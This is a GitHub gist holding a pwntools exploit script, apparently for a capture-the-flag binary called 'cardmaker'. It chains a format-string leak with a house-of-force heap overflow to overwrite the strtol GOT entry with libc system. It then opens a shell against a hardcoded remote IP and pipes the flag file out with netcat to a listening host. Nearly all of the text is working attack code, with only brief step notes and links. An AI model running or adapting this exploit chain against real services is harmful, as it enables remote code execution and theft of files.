Created
November 21, 2016 05:37
-
-
Save wumb0/e16bb196e06b795be1cfcbdf8b1b6687 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from time import sleep | |
import numpy as np | |
''' | |
this is a format string leak combined with house of force heap exploitation. | |
You control the amount of memory allocated. So allocating very little space, | |
then a lot (calculated), then again will allow you to get a pointer to read/write | |
anywhere you want! | |
Steps: | |
1. Make a card of size 4294967295 with the border %x | |
2. Send it to yourself! Need the stack leaks to get the top ptr | |
3. Overwrite wilderness chunk size with very large number (-1 or so) | |
4. Send cards to get leak. This will allocate some space so this needs to be taken into account | |
5. Calculate the amount to allocate for the final malloc to return the desired place | |
6. Make a card of the correct size to reach where the read/write will take place | |
7. Write what you want to this area. | |
8. I need to figure out where to write to... probably the stack to kill the return pointer | |
''' | |
def card(p, contents, length=None, ip=args.get("IP", "127.0.0.1"), port=args.get("PORT", 8080), author="/bin/sh", recip="mom", border="%x"): | |
p.sendline("1") | |
p.sendline(author) | |
p.sendline(recip) | |
p.sendline(ip + ":" + str(port)) | |
p.sendline(border) | |
if length is None: | |
length = len(contents) | |
p.sendline(str(length)) | |
if length != 0: | |
p.sendline(str(contents)) | |
if length != len(contents): | |
p.sendline("done.") | |
def cutout(s, first, second): | |
fi = s.find(first) + len(first) | |
se = s.find(second, fi) + len(second) | |
return s[fi:se] | |
def main(): | |
e = ELF("./cardmaker") | |
libc = ELF("libc-2.23.so") | |
context.arch = e.arch | |
if args['REMOTE']: | |
p = remote('54.167.134.245', 9887) | |
else: | |
p = process(e.path) | |
l = listen(int(args.get("PORT", 8080)), args.get("IP", "127.0.0.1"), timeout=5) | |
gdb.attach(p, "b cardmaker.c:218") | |
card(p, "", length=0) | |
p.sendline("5") | |
l.wait_for_connection() | |
cbuf = l.recvall() | |
heap_addr = int(cutout(cbuf, "80", "050"), 16) + 48 | |
l.close() | |
log.success("Heap addr: " + hex(heap_addr)) | |
evil_size = np.uint32(e.sym['got.strtol'] - 16 - heap_addr - 64) | |
log.success("Evil size: " + hex(evil_size)) | |
card(p, cyclic(24) + p64(np.uint64(-1)), length=4294967295) | |
card(p, "papa bless", length=evil_size) | |
card(p, "", length=0, ip="123") | |
card(p, "", length=0, ip="123") | |
p.sendline("2") | |
p.sendline("5") | |
p.recvuntil("Contents: ") | |
leak_buf = p.recvuntil("\n")[:-1] | |
while len(leak_buf) != 8: | |
leak_buf += '\x00' | |
leak = u64(leak_buf) | |
libc.address = leak - libc.symbols['strtol'] | |
log.success("strtol: " + str(hex(leak))) | |
log.success("libc base: " + hex(libc.address)) | |
log.success("system: " + hex(libc.symbols['system'])) | |
p.sendline("3") | |
p.sendline("5") | |
p.sendline(p64(libc.symbols['system'])) | |
p.recvrepeat(.5) | |
p.sendline("id") | |
res = p.recvline() | |
if "uid" in res: | |
log.success(res) | |
log.success("Winner!") | |
else: | |
log.error("No shell :(") | |
return | |
l = listen(int(args.get("PORT", 8080)), args.get("IP", "127.0.0.1"), timeout=5) | |
p.sendline("nc {} {} < /home/cardmaker/flag.txt".format(args.get("IP", "127.0.0.1"), args.get("PORT", 8080))) | |
l.wait_for_connection() | |
log.success("FLAG: " + l.recvline()) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
My exploit: https://gist.github.com/Inndy/1a3b312b0388447d3dee14371236abd1
This exploitation is called house of force, see: https://github.com/shellphish/how2heap/blob/master/house_of_force.c